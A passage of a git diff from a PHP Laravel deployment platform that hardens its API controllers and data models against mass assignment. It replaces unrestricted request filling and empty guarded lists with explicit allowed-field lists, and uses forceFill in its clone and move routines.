removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { @@ -1772,7 +1772,7 @@ private function create_application(Request $request, $type) } $application = new Application; - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $application->fqdn = $fqdn; $application->ports_exposes = $port; $application->build_pack = 'dockerfile'; @@ -1884,7 +1884,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $application->fqdn = $fqdn; $application->build_pack = 'dockerimage'; $application->destination_id = $destination->id; @@ -2000,7 +2000,7 @@ private function create_application(Request $request, $type) $service = new Service; removeUnnecessaryFieldsFromRequest($request); - $service->fill($request->all()); + $service->fill($request->only($allowedFields)); $service->docker_compose_raw = $dockerComposeRaw; $service->environment_id = $environment->id; @@ -2760,7 +2760,7 @@ public function update_by_uuid(Request $request) removeUnnecessaryFieldsFromRequest($request); - $data = $request->all(); + $data = $request->only($allowedFields); if ($requestHasDomains && $server->isProxyShouldRun()) { data_set($data, 'fqdn', $domains); } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 660ed4529..3fd1b8db8 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -1740,7 +1740,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('postgres_conf', $postgresConf); } - $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1795,7 +1795,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mariadb_conf', $mariadbConf); } - $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1854,7 +1854,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mysql_conf', $mysqlConf); } - $database = create_standalone_mysql($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mysql($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1910,7 +1910,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('redis_conf', $redisConf); } - $database = create_standalone_redis($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_redis($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1947,7 +1947,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1996,7 +1996,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('keydb_conf', $keydbConf); } - $database = create_standalone_keydb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_keydb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2032,7 +2032,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) ], 422); } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2090,7 +2090,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mongo_conf', $mongoConf); } - $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } diff --git a/app/Http/Controllers/Api/SecurityController.php b/app/Http/Controllers/Api/SecurityController.php index e7b36cb9a..2c62928c2 100644 --- a/app/Http/Controllers/Api/SecurityController.php +++ b/app/Http/Controllers/Api/SecurityController.php @@ -4,6 +4,7 @@ use App\Http\Controllers\Controller; use App\Models\PrivateKey; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; @@ -176,7 +177,7 @@ public function create_key(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = customApiValidator($request->all(), [ @@ -300,7 +301,7 @@ public function update_key(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -330,7 +331,7 @@ public function update_key(Request $request) 'message' => 'Private Key not found.', ], 404); } - $foundKey->update($request->all()); + $foundKey->update($request->only($allowedFields)); return response()->json(serializeApiResponse([ 'uuid' => $foundKey->uuid, diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 3b3e42619..3b04c3b7f 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -139,7 +139,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'status' => 'exited', 'started_at' => null, @@ -187,7 +187,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $newDatabase->id, ]); @@ -216,7 +216,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $newDatabase->id, ]); $newStorage->save(); @@ -229,7 +229,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $newDatabase->id, 'database_type' => $newDatabase->getMorphClass(), @@ -247,7 +247,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill($payload); + ])->forceFill($payload); $newEnvironmentVariable->save(); } } @@ -258,7 +258,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'environment_id' => $environment->id, 'destination_id' => $this->selectedDestination, @@ -276,7 +276,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'service_id' => $newService->id, 'team_id' => currentTeam()->id, @@ -290,7 +290,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $newService->id, 'resourceable_type' => $newService->getMorphClass(), ]); @@ -298,9 +298,9 @@ public function clone(string $type) } foreach ($newService->applications() as $application) { - $application->update([ + $application->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $application->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -315,7 +315,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -344,7 +344,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $application->id, ]); $newStorage->save(); @@ -352,9 +352,9 @@ public function clone(string $type) } foreach ($newService->databases() as $database) { - $database->update([ + $database->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -369,7 +369,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -398,7 +398,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $database->id, ]); $newStorage->save(); @@ -411,7 +411,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $database->id, 'database_type' => $database->getMorphClass(), diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index e769e4bcb..a26b43026 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -7,9 +7,18 @@ use App\Actions\Service\StartService; use App\Actions\Service\StopService; use App\Jobs\VolumeCloneJob; +use App\Models\Application; use App\Models\Environment; use App\Models\Project; +use App\Models\StandaloneClickhouse; use App\Models\StandaloneDocker; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; +use App\Models\StandaloneMariadb; +use App\Models\StandaloneMongodb; +use App\Models\StandaloneMysql; +use App\Models\StandalonePostgresql; +use App\Models\StandaloneRedis; use App\Models\SwarmDocker; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -60,7 +69,7 @@ public function cloneTo($destination_id) $uuid = (string) new Cuid2; $server = $new_destination->server; - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $new_resource = clone_application($this->resource, $new_destination, ['uuid' => $uuid], $this->cloneVolumeData); $route = route('project.application.configuration', [ @@ -71,21 +80,21 @@ public function cloneTo($destination_id) return redirect()->to($route); } elseif ( - $this->resource->getMorphClass() === \App\Models\StandalonePostgresql::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMongodb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMysql::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMariadb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneRedis::class || - $this->resource->getMorphClass() === \App\Models\StandaloneKeydb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneDragonfly::class || - $this->resource->getMorphClass() === \App\Models\StandaloneClickhouse::class + $this->resource->getMorphClass() === StandalonePostgresql::class || + $this->resource->getMorphClass() === StandaloneMongodb::class || + $this->resource->getMorphClass() === StandaloneMysql::class || + $this->resource->getMorphClass() === StandaloneMariadb::class || + $this->resource->getMorphClass() === StandaloneRedis::class || + $this->resource->getMorphClass() === StandaloneKeydb::class || + $this->resource->getMorphClass() === StandaloneDragonfly::class || + $this->resource->getMorphClass() === StandaloneClickhouse::class ) { $uuid = (string) new Cuid2; $new_resource = $this->resource->replicate([ 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'status' => 'exited', @@ -133,7 +142,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $new_resource->id, ]); @@ -162,7 +171,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $new_resource->id, ]); $newStorage->save(); @@ -175,7 +184,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $new_resource->id, 'database_type' => $new_resource->getMorphClass(), @@ -194,7 +203,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill($payload); + ])->forceFill($payload); $newEnvironmentVariable->save(); } @@ -211,7 +220,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'destination_id' => $new_destination->id, @@ -232,7 +241,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'service_id' => $new_resource->id, 'team_id' => currentTeam()->id, @@ -246,7 +255,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $new_resource->id, 'resourceable_type' => $new_resource->getMorphClass(), ]); @@ -254,9 +263,9 @@ public function cloneTo($destination_id) } foreach ($new_resource->applications() as $application) { - $application->update([ + $application->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $application->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -271,7 +280,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -296,9 +305,9 @@ public function cloneTo($destination_id) } foreach ($new_resource->databases() as $database) { - $database->update([ + $database->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -313,7 +322,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -354,9 +363,9 @@ public function moveTo($environment_id) try { $this->authorize('update', $this->resource); $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id); - $this->resource->update([ + $this->resource->forceFill([ 'environment_id' => $environment_id, - ]); + ])->save(); if ($this->resource->type() === 'application') { $route = route('project.application.configuration', [ 'project_uuid' => $new_environment->project->uuid, diff --git a/app/Models/Application.php b/app/Models/Application.php index c446052b3..a4789ae4a 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -118,7 +118,92 @@ class Application extends BaseModel private static $parserVersion = '5'; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'fqdn', + 'git_repository', + 'git_branch', + 'git_commit_sha', + 'git_full_url', + 'docker_registry_image_name', + 'docker_registry_image_tag', + 'build_pack', + 'static_image', + 'install_command', + 'build_command', + 'start_command', + 'ports_exposes', + 'ports_mappings', + 'base_directory', + 'publish_directory', + 'health_check_enabled', + 'health_check_path', + 'health_check_port', + 'health_check_host', + 'health_check_method', + 'health_check_return_code', + 'health_check_scheme', + 'health_check_response_text', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', + 'health_check_type', + 'health_check_command', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'status', + 'preview_url_template', + 'dockerfile', + 'dockerfile_location', + 'dockerfile_target_build', + 'custom_labels', + 'custom_docker_run_options', + 'post_deployment_command', + 'post_deployment_command_container', + 'pre_deployment_command', + 'pre_deployment_command_container', + 'manual_webhook_secret_github', + 'manual_webhook_secret_gitlab', + 'manual_webhook_secret_bitbucket', + 'manual_webhook_secret_gitea', + 'docker_compose_location', + 'docker_compose_pr_location', + 'docker_compose', + 'docker_compose_pr', + 'docker_compose_raw', + 'docker_compose_pr_raw', + 'docker_compose_domains', + 'docker_compose_custom_start_command', + 'docker_compose_custom_build_command', + 'swarm_replicas', + 'swarm_placement_constraints', + 'watch_paths', + 'redirect', + 'compose_parsing_version', + 'custom_nginx_configuration', + 'custom_network_aliases', + 'custom_healthcheck_found', + 'nixpkgsarchive', + 'is_http_basic_auth_enabled', + 'http_basic_auth_username', + 'http_basic_auth_password', + 'connect_to_docker_network', + 'force_domain_override', + 'is_container_label_escape_enabled', + 'use_build_server', + 'config_hash', + 'last_online_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + ]; protected $appends = ['server_status']; @@ -1145,7 +1230,7 @@ public function getGitRemoteStatus(string $deployment_uuid) 'is_accessible' => true, 'error' => null, ]; - } catch (\RuntimeException $ex) { + } catch (RuntimeException $ex) { return [ 'is_accessible' => false, 'error' => $ex->getMessage(), @@ -1202,7 +1287,7 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ ]; } - if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + if ($this->source->getMorphClass() === GitlabApp::class) { $gitlabSource = $this->source; $private_key = data_get($gitlabSource, 'privateKey.private_key'); @@ -1354,7 +1439,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $source_html_url_host = $url['host']; $source_html_url_scheme = $url['scheme']; - if ($this->source->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->source->getMorphClass() === GithubApp::class) { if ($this->source->is_public) { $fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); @@ -1409,7 +1494,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req ]; } - if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + if ($this->source->getMorphClass() === GitlabApp::class) { $gitlabSource = $this->source; $private_key = data_get($gitlabSource, 'privateKey.private_key'); @@ -1600,7 +1685,7 @@ public function oldRawParser() try { $yaml = Yaml::parse($this->docker_compose_raw); } catch (\Exception $e) { - throw new \RuntimeException($e->getMessage()); + throw new RuntimeException($e->getMessage()); } $services = data_get($yaml, 'services'); @@ -1682,7 +1767,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $fileList = collect([".$workdir$composeFile"]); $gitRemoteStatus = $this->getGitRemoteStatus(deployment_uuid: $uuid); if (! $gitRemoteStatus['is_accessible']) { - throw new \RuntimeException("Failed to read Git source:\n\n{$gitRemoteStatus['error']}"); + throw new RuntimeException("Failed to read Git source:\n\n{$gitRemoteStatus['error']}"); } $getGitVersion = instant_remote_process(['git --version'], $this->destination->server, false); $gitVersion = str($getGitVersion)->explode(' ')->last(); @@ -1732,15 +1817,15 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->save(); if (str($e->getMessage())->contains('No such file')) { - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } if (str($e->getMessage())->contains('fatal: repository') && str($e->getMessage())->contains('does not exist')) { if ($this->deploymentType() === 'deploy_key') { - throw new \RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.'); + throw new RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.'); } - throw new \RuntimeException('Repository does not exist. Please check your repository URL and try again.'); + throw new RuntimeException('Repository does not exist. Please check your repository URL and try again.'); } - throw new \RuntimeException($e->getMessage()); + throw new RuntimeException($e->getMessage()); } finally { // Cleanup only - restoration happens in catch block $commands = collect([ @@ -1793,7 +1878,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->base_directory = $initialBaseDirectory; $this->save(); - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } } diff --git a/app/Models/Server.php b/app/Models/Server.php index 9237763c8..b3dcf6353 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -265,8 +265,6 @@ public static function flushIdentityMap(): void 'server_metadata', ]; - protected $guarded = []; - use HasSafeStringAttribute; public function type() diff --git a/app/Models/Service.php b/app/Models/Service.php index 84c047bb7..b3ff85e53 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -15,6 +15,7 @@ use OpenApi\Attributes as OA; use Spatie\Activitylog\Models\Activity; use Spatie\Url\Url; +use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; #[OA\Schema( @@ -47,7 +48,16 @@ class Service extends BaseModel private static $parserVersion = '5'; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'docker_compose_raw', + 'docker_compose', + 'connect_to_docker_network', + 'service_type', + 'config_hash', + 'compose_parsing_version', + ]; protected $appends = ['server_status', 'status']; @@ -1552,7 +1562,7 @@ public function saveComposeConfigs() // Generate SERVICE_NAME_* environment variables from docker-compose services if ($this->docker_compose) { try { - $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($this->docker_compose); + $dockerCompose = Yaml::parse($this->docker_compose); $services = data_get($dockerCompose, 'services', []); foreach ($services as $serviceName => $_) { $envs->push('SERVICE_NAME_'.str($serviceName)->replace('-', '_')->replace('.', '_')->upper().'='.$serviceName); diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 143aadb6a..74382d87c 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -13,7 +13,31 @@ class StandaloneClickhouse extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'clickhouse_admin_user', + 'clickhouse_admin_password', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index c823c305b..7cc74f0ce 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -13,7 +13,30 @@ class StandaloneDragonfly extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'dragonfly_password', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index f286e8538..7a0d7f03d 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -13,7 +13,31 @@ class StandaloneKeydb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'keydb_password', + 'keydb_conf', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'server_status']; diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index efa62353c..6cac9e5f4 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -14,7 +14,32 @@ class StandaloneMariadb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mariadb_root_password', + 'mariadb_user', + 'mariadb_password', + 'mariadb_database', + 'mariadb_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index 9418ebc21..5ca4ef5d3 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -13,7 +13,31 @@ class StandaloneMongodb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mongo_conf', + 'mongo_initdb_root_username', + 'mongo_initdb_root_password', + 'mongo_initdb_database', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 2b7e9f2b6..cf8d78a9c 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -13,7 +13,32 @@ class StandaloneMysql extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mysql_root_password', + 'mysql_user', + 'mysql_password', + 'mysql_database', + 'mysql_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index cea600236..7db334c5d 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -13,7 +13,34 @@ class StandalonePostgresql extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'postgres_user', + 'postgres_password', + 'postgres_db', + 'postgres_initdb_args', + 'postgres_host_auth_method', + 'postgres_conf', + 'init_scripts', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 0e904ab31..812a0e5cb 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -13,7 +13,29 @@ class StandaloneRedis extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'redis_password', + 'redis_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/Team.php b/app/Models/Team.php index 5a7b377b6..4b9751706 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -40,7 +40,14 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen { use HasFactory, HasNotificationSettings, HasSafeStringAttribute, Notifiable; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'show_boarding', + 'custom_server_limit', + 'use_instance_email_settings', + 'resend_api_key', + ]; protected $casts = [ 'personal_team' => 'boolean', diff --git a/app/Models/User.php b/app/Models/User.php index 4561cddb2..6b6f93239 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -4,7 +4,9 @@ use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; +use App\Notifications\TransactionalEmails\EmailChangeVerification; use App\Notifications\TransactionalEmails\ResetPassword as TransactionalEmailsResetPassword; +use App\Services\ChangelogService; use App\Traits\DeletesUserSessions; use DateTimeInterface; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -41,7 +43,16 @@ class User extends Authenticatable implements SendsEmail { use DeletesUserSessions, HasApiTokens, HasFactory, Notifiable, TwoFactorAuthenticatable; - protected $guarded = []; + protected $fillable = [ + 'name', + 'email', + 'password', + 'force_password_reset', + 'marketing_emails', + 'pending_email', + 'email_change_code', + 'email_change_code_expires_at', + ]; protected $hidden = [ 'password', @@ -228,7 +239,7 @@ public function changelogReads() public function getUnreadChangelogCount(): int { - return app(\App\Services\ChangelogService::class)->getUnreadCountForUser($this); + return app(ChangelogService::class)->getUnreadCountForUser($this); } public function getRecipients(): array @@ -239,7 +250,7 @@ public function getRecipients(): array public function sendVerificationEmail() { $mail = new MailMessage; - $url = Url::temporarySignedRoute( + $url = URL::temporarySignedRoute( 'verify.verify', Carbon::now()->addMinutes(Config::get('auth.verification.expire', 60)), [ @@ -408,7 +419,7 @@ public function requestEmailChange(string $newEmail): void ]); // Send verification email to new address - $this->notify(new \App\Notifications\TransactionalEmails\EmailChangeVerification($this, $code, $newEmail, $expiresAt)); + $this->notify(new EmailChangeVerification($this, $code, $newEmail, $expiresAt)); } public function 